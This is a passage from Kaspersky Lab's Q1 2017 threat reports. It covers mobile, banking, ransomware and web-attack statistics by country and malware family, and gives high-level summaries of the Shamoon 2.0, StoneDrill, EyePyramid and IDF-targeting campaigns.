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IT threat evolution Q1 2017. Statistics

Malware Alerts - Mon, 05/22/2017 - 05:03

Q1 figures

According to KSN data, Kaspersky Lab solutions detected and repelled 479,528,279 malicious attacks from online resources located in 190 countries all over the world.

79,209,775 unique URLs were recognized as malicious by web antivirus components.

Attempted infections by malware that aims to steal money via online access to bank accounts were registered on 288 thousand user computers.

Crypto ransomware attacks were blocked on 240,799 computers of unique users.

Kaspersky Lab’s file antivirus detected a total of 174,989,956 unique malicious and potentially unwanted objects.

Kaspersky Lab mobile security products detected:

  • 1,333,605 malicious installation packages;
  • 32,038 mobile banker Trojans (installation packages);
  • 218,625 mobile ransomware Trojans (installation packages).
Mobile threats Q1 events The rise of Trojan-Ransom.AndroidOS.Egat

In the first quarter of 2017, we registered a dramatic growth in attacks involving mobile ransomware from the Trojan-Ransom.AndroidOS.Egat family: the number of users attacked by this type of malware increased more than 13 times from the previous quarter. Despite this Trojan being known to us since June 2016, such an explosive increase in the number of attacks has only occurred now.

This malware has standard mobile ransomware functionality: it blocks the device, overlays all open windows with its own window, then demands money to unblock the device. In most cases, the ransom amount fluctuates between $100 and $200. Most of the attacked users were in Europe, mainly Germany, the UK and Italy.

Revamped ZTorg

We managed to detect around 30 new Trojans from the Ztorg family in the official Google Play Store. To recap, this is the family that gave us infected fake guides for Pokémon GO. It was discovered in Google Play in the summer of 2016 and was installed more than 500,000 times. After installation, Ztorg checks to make sure it isn’t running on a virtual machine. If the check is passed smoothly, the main module is loaded from a remote server. By exploiting a vulnerability in the system, the Trojan tries to gain superuser privileges. If successful, it installs its modules into the system folders and also modifies the device settings so that it remains there – even after a reset to factory settings.

Trojan.AndroidOS.Ztorg.bp in the official Google Play Store

The Trojan uses several different modules that secretly download and install various programs on the device, display ads and even buy apps. It should be noted that the functionality of this malware has changed a bit: the number of checks to verify whether the device is real has decreased; the code for downloading, decrypting and loading the main module has been placed in a downloaded library.

Asacub awakens

In the first quarter of 2017, we noted that the Trojan-Banker.AndroidOS.Asacub mobile banker was actively spreading. Over three months, the representatives of this family attacked more than 43,000 mobile devices, which was 2.5 times more than in the previous quarter. Over 97% of all attacked users were in Russia. Asacub was mainly distributed via SMS spam. After clicking a malicious link, users were directed to a page where they were prompted to view an MMS that concealed the Trojan, which was then downloaded to the device. Interestingly, if the same link was opened on a Windows device, Backdoor.Win32.Htbot.bs was downloaded.

The site from which Trojan-Banker.AndroidOS.Asacub was downloaded

It’s worth noting that Trojan-Banker.AndroidOS.Asacub is constantly expanding its spyware functionality. In addition to the standard mobile banker features, such as stealing and sending text messages, or overlaying various applications with phishing windows, this Trojan hunts for the user’s call history, contacts and GPS location.

Mobile threat statistics

In the first quarter of 2017, Kaspersky Lab detected 1,333,605 malicious installation packages, which is almost as many as in Q4 2016.

Number of detected malicious installation packages (Q2 2016 – Q1 2017)

Distribution of mobile malware by type

Distribution of new mobile malware by type (Q4 2016 and Q1 2017)

In Q1 2017, the most affected was Trojan-Ransom – its share increased from 4.64% to 16.42%, that is 3.5 times. The most rapid growth in the number of installation packages was demonstrated by the Trojan-Ransom.AndroidOS.Congur family, which will be described below.

Second came Trojan-Spyware: in terms of the growth rate, its proportion reached 10.27% (+1.83%). This was caused by the increase in the number malicious programs belonging to the Trojan-Spy.AndroidOS.SmForw and Trojan-Spy.AndroidOS.SmsThief families designed to steal SMS.

In the first quarter, the biggest decline was demonstrated by Adware (7.32%) and Trojan-Dropper (6.99%) – their shares decreased by 4.99% and 4.48% respectively. In addition, the contribution of unwanted RiskTool programs dropped by 2.55%.

TOP 20 mobile malware programs

Please note that this rating of malicious programs does not include potentially dangerous or unwanted programs such as RiskTool or adware.

In Q1 of 2017, 14 Trojans that use advertising as their main means of monetization (highlighted in blue in the table) made it into the TOP 20.Their goal is to deliver as many adverts as possible to the user, employing various methods, including the installation of new adware. These Trojans may use superuser privileges to conceal themselves in the system application folder, from which it will be very difficult to delete them.

Name % of attacked users * 1 DangerousObject.Multi.Generic 70.09 2 Trojan.AndroidOS.Hiddad.an 9.35 3 Trojan.AndroidOS.Boogr.gsh 4.51 4 Backdoor.AndroidOS.Ztorg.c 4.18 5 Trojan.AndroidOS.Sivu.c 4.00 6 Backdoor.AndroidOS.Ztorg.a 3.98 7 Trojan.AndroidOS.Hiddad.v 3.89 8 Trojan-Dropper.AndroidOS.Hqwar.i 3.83 9 Trojan.AndroidOS.Hiddad.pac 2.98 10 Trojan.AndroidOS.Triada.pac 2.90 11 Trojan.AndroidOS.Iop.c 2.60 12 Trojan-Banker.AndroidOS.Svpeng.q 2.49 13 Trojan.AndroidOS.Ztorg.ag 2.34 14 Trojan.AndroidOS.Ztorg.aa 2.03 15 Trojan.AndroidOS.Agent.eb 1.81 16 Trojan.AndroidOS.Agent.bw 1.79 17 Trojan.AndroidOS.Loki.d 1,76 18 Trojan.AndroidOS.Ztorg.ak 1.67 19 Trojan-Downloader.AndroidOS.Agent.bf 1.59 20 Trojan-Dropper.AndroidOS.Agent.cv 1.54

* Percentage of unique users attacked by the malware in question, relative to all users of Kaspersky Lab’s mobile security product that were attacked.

First place was occupied by DangerousObject.Multi.Generic (70.09%), the verdict used for malicious programs detected using cloud technologies. Cloud technologies work when the antivirus database contains neither the signatures nor heuristics to detect a malicious program, but the cloud of the antivirus company already contains information about the object. This is basically how the very latest malware is detected.

Trojan.AndroidOS.Hiddad.an (9.35%) was second. This piece of malware imitates different popular games or programs. Interestingly, once run, it downloads and installs the application it imitated. In this case, the Trojan requests administrator rights to combat its removal. The main purpose of Trojan.AndroidOS.Hiddad.an is aggressive display of adverts, its main “audience” is in Russia (86% of attacked users).

Third came Trojan.AndroidOS.Boogr.gsh (4.51%). Such verdict is issued for files recognized as malicious by our system based on machine learning. Despite the fact that this system can detect any types of malware, in Q1 2017, the most popular were advertising Trojans which used superuser privileges.

Eighth position in the ranking was occupied by Trojan-Dropper.AndroidOS.Hqwar.i (3.83%), the verdict used for the Trojans protected by a certain packer/obfuscator. In most cases, this name hides the representatives of the FakeToken and Svpeng mobile banking families.

The ranking also included Trojan-Banker.AndroidOS.Svpeng (2.49%), which was twelfth in the Top 20. This family has been active for three quarters in a row and remains the most popular banking Trojan in Q1 of 2017.

Trojan.AndroidOS.Agent.bw was sixteenth in the rating (1.79%). This Trojan, targeting primarily people in India (more than 92% of attacked users), just like Trojan.AndroidOS.Hiddad.an imitates popular programs and games, and once run, downloads and installs various applications from the fraudsters’ server.

The geography of mobile threats

The geography of attempted mobile malware infections in Q1 2017 (percentage of all users attacked)

TOP 10 countries attacked by mobile malware (ranked by percentage of users attacked)

Country* % of users attacked ** 1 Iran 47.35 2 Bangladesh 36.25 3 Indonesia 32.97 4 China 32.47 5 Nepal 29.90 6 India 29.09 7 Algeria 28.64 8 Philippines 27.98 9 Nigeria 27.81 10 Ghana 25.85

* We eliminated countries from this rating where the number of users of Kaspersky Lab’s mobile security product is relatively low (under 10,000).
** Percentage of unique users attacked in each country relative to all users of Kaspersky Lab’s mobile security product in the country.

In Q1 2017, Iran was the country with the highest percentage of users attacked by mobile malware – 47.35%. Bangladesh came second: 36.25% of users there encountered a mobile threat at least once during the quarter. It was followed by Indonesia and China; the share of both countries was slightly over 32%.

Russia (11.6%) came 40th in this rating, France (8.1%) 57th, the US (6.9%) 69th line, Italy (7.1%) 66th, Germany (6.2%) 72nd, Britain (5.8%) 75th.

The safest countries were Finland (2.7%), Georgia (2.5%) and Japan (1.5%).

In all the countries of the Top 20, the same mobile objects – adware – are detected, and first of all, the representatives of the AdWare.AndroidOS.Ewind family as well as advertising Trojans.

Mobile banking Trojans

Over the reporting period, we detected 32,038 installation packages for mobile banking Trojans, which is 1.1 times as many as in Q4 2016.

Number of installation packages for mobile banking Trojans detected by Kaspersky Lab solutions (Q2 2016 – Q1 2017)

Trojan-Banker.AndroidOS.Svpeng remained the most popular mobile banking Trojan for the third quarter in a row. This family of mobile banking Trojans uses phishing windows to steal credit card data and logins and passwords from online banking accounts. In addition, fraudsters steal money via SMS services, including mobile banking. Svpeng is followed by Trojans Trojan-Banker.AndroidOS.Faketoken.z and Trojan-Banker.AndroidOS.Asacub.san. It is worth noting that most of attacked users were in Russia.

Geography of mobile banking threats in Q1 2017 (percentage of all users attacked)

TOP 10 countries attacked by mobile banker Trojans (ranked by percentage of users attacked)

Country* % of users attacked** 1 Russia 1.64 2 Australia 1.14 3 Turkey 0.81 4 Uzbekistan 0.61 5 Tajikistan 0.48 6 Moldova 0.43 7 Ukraine 0.41 8 Kazakhstan 0.37 9 Kyrgyzstan 0.32 10 Singapore 0.26

* We eliminated countries from this rating where the number of users of Kaspersky Lab’s mobile security product is relatively low (under 10,000).
** Percentage of unique users in each country attacked by mobile banker Trojans, relative to all users of Kaspersky Lab’s mobile security product in the country.

Although the Svpeng family topped the rating of the most popular mobile banking Trojans in the first quarter of 2017, its activity declined compared to the third quarter of 2016: the share of users attacked by these malicious programs in Russia dropped almost twofold – from 3.12% to 1.64%. At the same time, Russia remained the TOP 20leader.

In second place was Australia (1.14%), where the Trojan-Banker.AndroidOS.Acecard and Trojan-Banker.AndroidOS.Marcher families were the most popular threats. Turkey (0.81%) rounded off the Top 3.

Mobile Ransomware

In Q1 2017, we detected 218, 625 mobile Trojan-Ransomware installation packages which is 3.5 times more than in the previous quarter.

Number of mobile Trojan-Ransomware installation packages detected by Kaspersky Lab (Q2 2016 – Q1 2017)

In the first half of 2016, we saw the increase in the number of mobile ransomware installation packages caused by the active spread of the Trojan-Ransom.AndroidOS.Fusob family. In the second half of the same year, the activity of this family fell, which affected the number of detected installation packages. The growth resumed in the fourth quarter of 2016 and sharply accelerated in Q1 2017. The reason was the Trojan-Ransom.AndroidOS.Congur family – more than 86% of detected mobile ransomware installation packages belonged to this family. Usually, the representatives of Congur have very simple functionality – they change the system password (PIN), or install it if no password was installed earlier, thus making it impossible to use the device, and then ask that user to contact the fraudsters via the QQ messenger to unblock it. It is worth noting that there are modifications of this Trojan that can take advantage of existing superuser privileges to install their module into the system folder.

Despite this, Trojan-Ransom.AndroidOS.Fusob.h remained the most popular mobile Trojan-Ransomware in the first quarter, accounting for nearly 45% of users attacked by mobile ransomware. Once run, the Trojan requests administrator privileges, collects information about the device, including GPS coordinates and call history, and downloads the data to a malicious server. After that, it may receive a command to block the device.

Geography of mobile Trojan-Ransomware in Q1 2017 (percentage of all users attacked)

TOP 10 counties attacked by mobile Trojan-Ransomware (ranked by percentage of users attacked)

Country* % of users attacked** 1 USA 1.23 2 Uzbekistan 0.65 3 Canada 0.56 4 Kazakhstan 0.54 5 Italy 0.44 6 Germany 0.37 7 Korea 0.35 8 Denmark 0.30 9 United Kingdom 0.29 10 Spain 0.28

* We eliminated countries from this ranking where the number of users of Kaspersky Lab’s mobile security product is lower than 10,000.
** Percentage of unique users in each country attacked by mobile Trojan-Ransomware, relative to all users of Kaspersky Lab’s mobile security product in the country.

The US topped the ranking of ten countries attacked by mobile Trojan-Ransomware; the most popular family there was Trojan-Ransom.AndroidOS.Svpeng. These Trojans appeared in 2014 as a modification of the Trojan-Banker.AndroidOS.Svpeng mobile banking family. They demand a ransom of $100-500 from victims to unblock their devices.

In Uzbekistan (0.65%), which came second, most of mobile ransomware attacks involved Trojan-Ransom.AndroidOS.Loluz.a. This is a simple Trojan that blocks operation of a device with its own window and asks the user to contact the fraudsters by phone to unblock it.

Fourth place was occupied by Kazakhstan (0.54%). The main threat to users originated from representatives of the Small mobile Trojan-Ransom family. This is a fairly simple ransomware program that blocks operation of a device by overlaying all the windows on the device with its own window and demanding $10 to unblock it.

In all other countries of the TOP 10, the most popular Trojan-Ransom family was Fusob.

Vulnerable apps exploited by cybercriminals

The first quarter of 2017 was marked by the return of the degenerated exploit kit Neutrino, which had departed the cybercriminal market in the third quarter. Following Magnitude, Neutrino is changing the distribution format and abandoning wide-scale campaigns to become a “private” exploit kit. Several new players – Nebula, Terror, and other –tried to fill the vacant niche but failed: after a brief burst of activity their distribution quickly came to naught. At the moment, RIG and its modifications remain the most popular and advanced public exploit kit.

The Q1 statistics show an almost 10% decline in the number of attacked users. This is primarily caused by weak exploit kit environment, as well as the decrease in the effectiveness of exploits in general. Adobe Flash remained the only platform that demonstrated growth: although no new vulnerabilities for it had been discovered, the number of attacked users grew by 20%. The biggest decrease fell on exploits for different browsers – only 44% of attacks targeted them (against 54% in the previous quarter).

CVE-2016-0189, CVE-2014-6332 and CVE-2013-2551 remain the most popular vulnerabilities in the first quarter. Of note were also vulnerabilities in the Microsoft Edge Chakra engine, published in open access in early 2017. In addition to the detailed description of vulnerabilities, the research included a ready-to-use Proof of Concept, which shortly after the publication was integrated in the Sundown exploit kit from which it moved to Neutrino, Kaixin and others. However, exploitation of these vulnerabilities was not reliable enough, while patches for them were released as far back as in November along with the MS16-129 update, so they have not become widely spread and are now almost out of use.

Distribution of exploits used in attacks by the type of application attacked, Q1 2017

In Q1 2017, especially popular were campaigns involving mass mailings of infected documents – to distribute them, Microsoft Office exploits were used. Although the share of attacked office package users has not changed much, the same users were attacked several times – on average, one attacked user received 3 malicious documents over the quarter.

The general trend is towards the increase in the share of social engineering when delivering malware to the computer of a potential victim. Campaigns involving distribution of infected messages are always based on forcing a user to perform certain actions: unpack a file from the password-protected archive, issue a permission to execute macros from the document, etc. This method is currently beginning to be applied in exploits for browsers. Magnitude, for example, offers the Internet Explorer 11 and Windows 10 users to download a malicious file under the guise of antivirus update for Microsoft Defender. Some spam campaigns are based on imitating the Google Chrome update page. We believe that this trend will continue in the future – such campaigns are easier to maintain and implement, and their level of “penetration” is constantly growing.

Online threats (Web-based attacks) Online threats in the banking sector

These statistics are based on detection verdicts of Kaspersky Lab products, received from users of Kaspersky Lab products who have consented to provide their statistical data. Beginning from the first quarter of 2017 the statistics include malicious programs for ATMs and POS terminals but does not include mobile threats.

Kaspersky Lab solutions blocked attempts to launch one or several malicious programs capable of stealing money via online banking on 288,000 computers in Q1 2017.

Number of users attacked by financial malware, January – March 2017

Geography of attacks

To evaluate and compare the risk of being infected by banking Trojans and ATM and POS-malware worldwide, we calculate the percentage of Kaspersky Lab product users in the country who encountered this type of threat during the reporting period, relative to all users of our products in that country.

Geography of banking malware attacks in Q1 2017 (percentage of attacked users)

TOP 10 countries by percentage of attacked users

Country* % of attacked users ** 1 Germany 1.70 2 China 1.37 3 Libya 1.12 4 Kazakhstan 1.02 5 Palestine 0.92 6 Togo 0.91 7 Tunisia 0.89 8 Armenia 0.89 9 Venezuela 0.88 10 Taiwan 0.87

These statistics are based on detection verdicts returned by the antivirus module, received from users of Kaspersky Lab products who have consented to provide their statistical data.

*We excluded those countries in which the number of Kaspersky Lab product users is relatively small (under 10,000).

** Unique users whose computers have been targeted by banking Trojan attacks as a percentage of all unique users of Kaspersky Lab products in the country.

In the first quarter of 2017, Germany (1.70%) had the highest proportion of users attacked by banking Trojans. It was followed by China (1.37%). Libya (1.12%) rounded off the Top 3.

As for the contribution of the other European countries in the Q1 rating, for example, Spain (0.24%) was on 89th position and the UK (0.15%) came 126th.

The TOP 10 banking malware families

The table below shows the TOP 10 malware families used in Q3 2016 to attack online banking users (as a percentage of users attacked):

Name* % of attacked users** 1 Trojan-Spy.Win32.Zbot 45.93 2 Trojan.Win32.Nymaim 29.70 3 Trojan.Win32.Neurevt 3.31 4 Trojan-Banker.Win32.Gozi 3.15 5 Trojan-Spy.Win32.SpyEyes 2.71 6 Backdoor.Win32.ZAccess 2.11 7 Backdoor.Win32.Shiz 1.67 8 Trojan.Multi.Capper 1.67 9 Trojan.Win32.Tinba 1.00 10 Trojan.Win32.Shifu 1.00

*The detection verdicts of Kaspersky Lab products, received from users of Kaspersky Lab products who have consented to provide their statistical data.

** Unique users whose computers have been targeted by the malware in question as a percentage of all users attacked by financial malware.

As in the last year, in Q1 2017, Trojan-Spy.Win32.Zbot (45.93%) topped the rating of the most popular malware families. Its source codes have been publicly available since a leak and are now widely exploited as an easy-to-use tool for stealing user payment data. Unsurprisingly, this malware consistently tops this rating – cybercriminals regularly enhance the family with new modifications compiled on the basis of the source code and containing minor differences from the original.

Second came Trojan.Win32.Nymaim (29.70%). The first modifications of malware belonging to this Trojan family were downloaders, which blocked the infected machine with the help of downloaded programs unique for each country. Later, new modifications of the Trojan.Win32.Nymaim family malware were discovered. They included a fragment of Gozi used by cybercriminals to steal user payment data in online banking systems. In Q1 2017, Gozi (3.15%) was on 4th position in the rating.

Trojan.Win32.Neurevt (3.31%) rounded off the Top 3. It is a multifunctional Trojan written in C ++. It uses rootkit technologies to conceal its presence in the system, injects its own code into all running processes, blocks the work of some anti-virus programs, and can monitor and block installation of other common Trojans.

Ransomware Trojans

A total of 11 new cryptor families and 55, 679 new modifications were detected in Q1 2017.

The number of newly created cryptor modifications, Q2 2016 – Q1 2017

Most of detected modifications belonged to the Cerber family (the Trojan-Ransom.Win32.Zerber verdict). This cryptor, first discovered a year ago, continues to evolve, and we regularly detect its new improved versions.

The number of users attacked by ransomware

In Q1 2017, 240, 799 unique KSN users were attacked by cryptors.

Number of unique users attacked by Trojan-Ransom cryptor malware (Q1 2017)

This figure is almost half as much as that of the fourth quarter of 2016, but one should not consider it a receding threat. It is most likely that this difference is related to the methodology while the actual number of incidents is higher: the statistics only reflect the results of signature-based and heuristic detection, whereas most of the Trojan ransomware is detected by Kaspersky Lab products using behavioral methods and issuing a generic verdict that does not allow distinguishing types of malware.

The geography of attacks

Geography of Trojan-Ransom attacks in Q1 2017 (percentage of attacked users)

Top 10 countries attacked by cryptors Country* % of users attacked by cryptors ** 1 Italy 1.87% 2 Brazil 1.07% 3 Japan 0.99% 4 Vietnam 0.74% 5 Netherlands 0.73% 6 Cambodia 0.70% 7 Uganda 0.66% 8 Philippines 0.65% 9 Venezuela 0.63% 10 Nigeria 0.60%

* We excluded those countries where the number of Kaspersky Lab product users is relatively small (under 50,000).
** Unique users whose computers have been targeted by ransomware as a percentage of all unique users of Kaspersky Lab products in the country.

Italy, which was not in the Top 10 in the third quarter of 2016, now took the lead the Q1 ranking (1.87%). Second came Brazil (1.07%), the newcomer to the Top 10. This correlates with our observations that indicate an increase in the number Trojan ransomware targeting victims in Brazil. One of the examples of such malicious software was Xpan, which we analyzed last year.

Japan (0.99%), which ranked first in the second and third quarters of 2016, moved two places down but still remains at the top of the rating.

Top 10 most widespread cryptor families Name Verdict* % of attacked users** 1 Cerber Trojan-Ransom.Win32. Zerber 18.04% 2 Spora Trojan-Ransom.Win32.Spora 7.59% 3 Locky Trojan-Ransom.Win32.Locky 7.35% 4 Sage Trojan-Ransom.Win32.SageCrypt 3.44% 5 Cryrar/ACCDFISA Trojan-Ransom.Win32.Cryrar 3.20% 6 Shade Trojan-Ransom.Win32.Shade 2.82% 7 (generic verdict) Trojan-Ransom.Win32.Gen 2.37% 8 Crysis/Dharma Trojan-Ransom.Win32.Crusis 2.30% 9 CryptoWall Trojan-Ransom.Win32.Cryptodef 2.25% 10 (generic verdict) Trojan-Ransom.Win32.Snocry 2.16%

* These statistics are based on detection verdicts received from users of Kaspersky Lab products who have consented to provide their statistical data.
** Unique users whose computers have been targeted by a specific Trojan-Ransom family as a percentage of all users of Kaspersky Lab products attacked by Trojan-Ransom malware.

The Trojan Cerber (18.04%) was the most widespread in the number of attacked users in the first quarter of 2017. It is no wonder, considering a huge number of this cryptor’s modifications and its active distribution by fraudsters.

Spora (7.59%) was on the second place. This new Trojan was first discovered in January 2017 and at the “dawn of its career” only attacked Russian-speaking victims. However, a few weeks after its detection Spora spread around the world and by the end of the first quarter entered the top three most popular cryptors. The third position was occupied by Locky (7.35%) which appeared about a year and has recently reduced its activity a little.

Yet another new Trojan is Sage (3.44%). Like Spora, it emerged in the first quarter of 2017 and came fourth in the Q1 rating. The rest places went to our “old acquaintances”, which appeared in the reports for the previous quarters.

Of special note is the finding of the quarter the cryptor PetrWrap, which is used by cybercriminals for targeted attacks on organizations. Statistics show that this type of attacks is gaining popularity.

Top 10 countries where online resources are seeded with malware

The following statistics are based on the physical location of the online resources used in attacks and blocked by our antivirus components (web pages containing redirects to exploits, sites containing exploits and other malware, botnet command centers, etc.). Any unique host could be the source of one or more web attacks.

In order to determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established.

In Q1 2017, Kaspersky Lab solutions blocked 479, 528, 279 attacks launched from web resources located in 191 countries around the world. 79, 209, 775 unique URLs were recognized as malicious by web antivirus components.

Distribution of web attack sources by country, Q1 2017

The Netherlands (38%) took the lead in the number of web attack sources. The United States (30%), which used to top this rating for several quarters in a row, dropped to second place, although the share of this country remained almost unchanged from the 2016’s figures. Germany (9%) rounded off the Top3.

Russia (4%) and France (3%) were fourth and fifth respectively.

Countries where users faced the greatest risk of online infection

In order to assess the risk of online infection faced by users in different countries, we calculated the percentage of Kaspersky Lab users in each country who encountered detection verdicts on their machines during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers work in different countries.

This rating only includes attacks by malicious programs that fall under the Malware class. The rating does not include web antivirus module detections of potentially dangerous or unwanted programs such as RiskTool or adware.

Country* % of users attacked** 1 Algeria 37.67 2 Belarus 33.61 3 Tunisia 32.04 4 Ukraine 31.98 5 Kazakhstan 29.96 6 Azerbaijan 29.95 7 Albania 29.80 8 Bangladesh 29.51 9 Qatar 29,41 10 Armenia 29.02 11 Greece 28.21 12 Moldova 27.46 13 Venezuela 27.37 14 Kyrgyzstan 27.02 15 Vietnam 26.87 16 Russia 26.67 17 Morocco 25.65 18 Sri Lanka 25.42 19 Brazil 25.10 20 Serbia 24.18

These statistics are based on detection verdicts returned by the web antivirus module, received from users of Kaspersky Lab products who have consented to provide their statistical data.

* These calculations excluded countries where the number of Kaspersky Lab users is relatively small (under 10,000 users).
** Unique users whose computers have been targeted by Malware-class attacks as a percentage of all unique users of Kaspersky Lab products in the country.

On average, 20.05% of computers connected to the Internet globally were subjected to at least one Malware-class web attack during the quarter.

Geography of malicious web attacks in Q1 2017 (ranked by percentage of users attacked)

The countries with the safest online surfing environments included Luxembourg (14.4%), Germany (13.9%), Norway (13.83%), South Africa (12.5%), the United States (10.56%), Uganda (10.29%) and Japan 9.18%).

Local threats

Local infection statistics for user computers are a very important indicator: they reflect threats that have penetrated computer systems by infecting files or removable media, or initially got on the computer in an encrypted format (for example, programs integrated in complex installers, encrypted files, etc.).

Data in this section is based on analyzing statistics produced by antivirus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media.

In Q1 2017, Kaspersky Lab’s file antivirus detected 174, 989, 956 unique malicious and potentially unwanted objects.

Countries where users faced the highest risk of local infection

For each country, we calculated the percentage of Kaspersky Lab product users on whose computers the file antivirus was triggered during the quarter. These statistics reflect the level of personal computer infection in different countries.

The rating of malicious programs only includes Malware-class attacks. The rating does not include web antivirus module detections of potentially dangerous or unwanted programs such as RiskTool or adware.

Country* % of users attacked** 1 Yemen 54.84 2 Afghanistan 54.27 3 Uzbekistan 53.80 4 Tajikistan 51.32 5 Ethiopia 50.87 6 Djibouti 50.03 7 Algeria 49.38 8 Vietnam 49.15 9 Turkmenistan 48.39 10 Rwanda 47.57 11 Mongolia 47.25 12 Somalia 46.96 13 Syria 46.96 14 Bangladesh 46.64 15 Iraq 46.59 16 Sudan 46.35 17 Nepal 46.19 18 Kazakhstan 46.00 19 Laos 45.39 20 Belarus 43.45

These statistics are based on detection verdicts returned by on-access and on-demand antivirus modules, received from users of Kaspersky Lab products who have consented to provide their statistical data. The data include detections of malicious programs located on users’ computers or on removable media connected to the computers, such as flash drives, camera and phone memory cards, or external hard drives.

* These calculations exclude countries where the number of Kaspersky Lab users is relatively small (under 10,000 users).
** The percentage of unique users in the country with computers that blocked Malware-class local threats as a percentage of all unique users of Kaspersky Lab products.

An average of 23.63% of computers globally faced at least one Malware-class local threat during the third quarter. Russia’s contribution to this rating accounted for 30.51%.

The safest countries in terms of local infection risks were: Poland (14.85%), Singapore (12.21%), Italy (13.30%), France (11.15%), Australia (10.51%), Great Britain (9.08%), Canada (8.66%), the Czech Republic (7.83%), the United States (7.57%), Denmark (6.35%), Japan (6.18%).

IT threat evolution Q1 2017

Malware Alerts - Fri, 05/19/2017 - 09:26

Overview Targeted attacks and malware campaigns More wipers

The aim of most targeted attack campaigns is to steal sensitive data. However, this isn’t always the goal. Sometimes attackers erase data instead of – or as well as – trying to gain access to confidential information. We’ve seen several wiper attacks in recent years. They include Shamoon (also known as ‘Disttrack’), believed to have been used to erase data on more than 30,000 computers at Saudi Aramco in 2012, and Dark Seoul, used in the attack on Sony Pictures in 2013.

Shamoon re-appeared in November 2016, targeting organisations in various critical and economic sectors in Saudi Arabia. So far we have observed three waves of attacks using the Shamoon 2.0 malware – activated on 17 November 2016, 29 November 2016 and 23 January 2017.

While the attacks share many similarities with the earlier wave of attacks, they now feature new tools and techniques. The attackers start by obtaining administrator credentials for the target network. Then they build a custom wiper (Shamoon 2.0) which uses the stolen credentials for lateral movement across the organisation. Finally, the wiper activates on a predefined date, leaving the infected computers unusable. The final stage of the attack is completely automated and doesn’t rely on communication with the attacker’s C2 (Command-and-Control) center.

Shamoon 2.0 also includes a ransomware component. This has yet to be used in the wild, so it’s unknown whether the attackers would use this part of the platform for financial gain or for idealistic purposes.

While investigating the Shamoon attacks, we discovered a previously unknown wiper. This malware, which we’ve named StoneDrill, also seems to target organisations in Saudi Arabia. There are similarities in style to Shamoon, with additional features designed to help it evade detection. One of the victims of StoneDrill, observed via the Kaspersky Security Network (KSN) is located in Europe (and operates in the petro-chemicals sector), suggesting that the attackers might be expanding their wiping operations beyond the Middle East.

The most significant difference between the two relates to the wiping process. Shamoon uses a disk driver for direct access to the disk, whereas StoneDrill injects the wiper directly into the victim’s preferred browser.

StoneDrill also shares similarities with an APT group known as NewsBeef (also known as ‘Charming Kitten’), so-called because of its use of the Browser Exploitation Framework (BEeF). These similarities include familiar WinMain and OS signatures, update commands and C2 server names. It isn’t known whether the groups behind Shamoon and StoneDrill are the same, or are just aligned in terms of interests and the regions they target – the latter seems most likely to us.

In addition to the wiping module, StoneDrill also includes a backdoor that has been used to run espionage operations against a number of targets.

You can find the full report on Shamoon 2.0 and StoneDrill here. By subscribing to our APT intelligence reports, you can get access to our investigations and discoveries as they happen, including comprehensive technical data.

EyePyramid

As we’ve seen before, targeted attacks don’t have to be technically advanced in order to be successful. In January 2016, the arrest of two suspects by Italian police brought to light a series of cyber-attacks that targeted prominent politicians, bankers, freemasons and members of law enforcement agencies.

The malware used in the attacks, called ‘EyePyramid’, was unsophisticated, but nevertheless successful enough to enable the attackers to gain access to all resources on their victims’ computers. The police investigation revealed 100 active victims in the server used to host the malware, but there were indications that the attackers had targeted around 1,600 victims in the last few years. Their victims – located mostly in Italy – included law firms, consultancy services, universities and Vatican cardinals.

The Italian police report didn’t include technical details about how the malware was spread – other than revealing that spear-phishing was used. However, it did identify a number of C2 servers and e-mail addresses used by the attackers to exfiltrate stolen data. Using this information, we created a YARA rule, based on custom e-mail addresses, C2 servers, licences for the custom mailing library used by the attackers and specific IP addresses used in the attack. Then we ran it through our systems to see if it matched any known samples. Out initial YARA rule highlighted two samples which enabled us to create a more specific YARA rule that identified a further 42 samples in our collection. A further search revealed more details about EyePyramid. The attacks relied on social engineering to trick victims into opening and running infected files attached to the spear-phishing e-mails. The attachments used were ZIP and 7ZIP archives which contained the malware. The attackers used multiple spaces to try and mask the extension of the file – underlining the low level of sophistication of the attacks.

Based on the compilation time-stamps of the samples, which appear to be legitimate, most samples used in the attacks were compiled in 2014-15.

It’s clear that cybercriminals can achieve success even when the malware they use is neither sophisticated nor hard to detect. From the poor OPSEC (operational security) employed in the campaign (for example, using IP addresses associated with their own company and discussing victims in regular phone calls and using WhatsApp), it’s clear that the attackers were amateurs. Nevertheless, they were able to operate for many years and managed to steal gigabytes of data from their victims.

You can read our full report on EyePyramid here.

Breaking the weakest link of the strongest chain

In the middle of 2016 more than 100 Israeli servicemen were targeted by a cunning threat actor. The attack compromised their devices and exfiltrated data to the attackers’ C2 server.

The IDF (Israeli Defense Forces) C4I and the IDF Information Security Department unit, with Kaspersky Lab researchers, obtained a list of the victims – all IDF servicemen serving around the Gaza strip.

This campaign, which experts believe is still in its early stages, targets Android OS devices. Once the device has been compromised, a process of sophisticated intelligence gathering begins, exploiting the phone’s video and audio capabilities, SMS functions and location.

The attacks are unsophisticated, relying heavily on social engineering techniques. The attackers lure their victims into installing a malicious application, while continuously attempting to acquire confidential information using social networks: the group seems particularly active on Facebook Messenger. Most of the avatars used by the attackers (virtual participants in the social engineering stage of the attack) lure the victims using sexual themes: for example, asking the victim to send explicit photographs and, in return, sending fake photos of teenage girls. The avatars pretend to be from different countries such as Canada, Germany, Switzerland and others.

The victim is tricked into downloading an app from a malicious URL. The app collects data from the victim’s phone, including general information (network operator, GPS location, IMEI, etc.), contacts, browsing history, SMS messages, pictures. The app is also able to record video and audio.

The IDF, which led the research along with Kaspersky lab researchers, believes that this is just the opening shot of a wider campaign that is designed to capture data on how ground forces are distributed, the tactics and equipment the IDF uses and real-time intelligence.

You can read our full report on this campaign here.

The non-persistence of memory

During an incident response, security specialists hunt for any artefacts that attackers have left behind in the victim’s network. This includes inspecting log files, looking for files on the hard drive, looking at the registry and checking memory.

However, each of these has a different ‘shelf-life’: in other words, the clues will be available to an analyst for a shorter or longer time, depending on where they’re located. Data stored on a hard drive will probably be available to a forensic analyst for a long time: although, as we saw with Duqu 2.0, sophisticated malware might deliberately remove all traces from the hard drive after installation, leaving itself in memory only. This is why memory forensics is critical to the analysis of malware and its functions.

Another important aspect of an attack is the tunnels that are installed in the network by an attacker. Cybercriminals (such as Carbanak and GCMAN) might use PLINK for this purpose; Duqu 2.0 used a special driver.

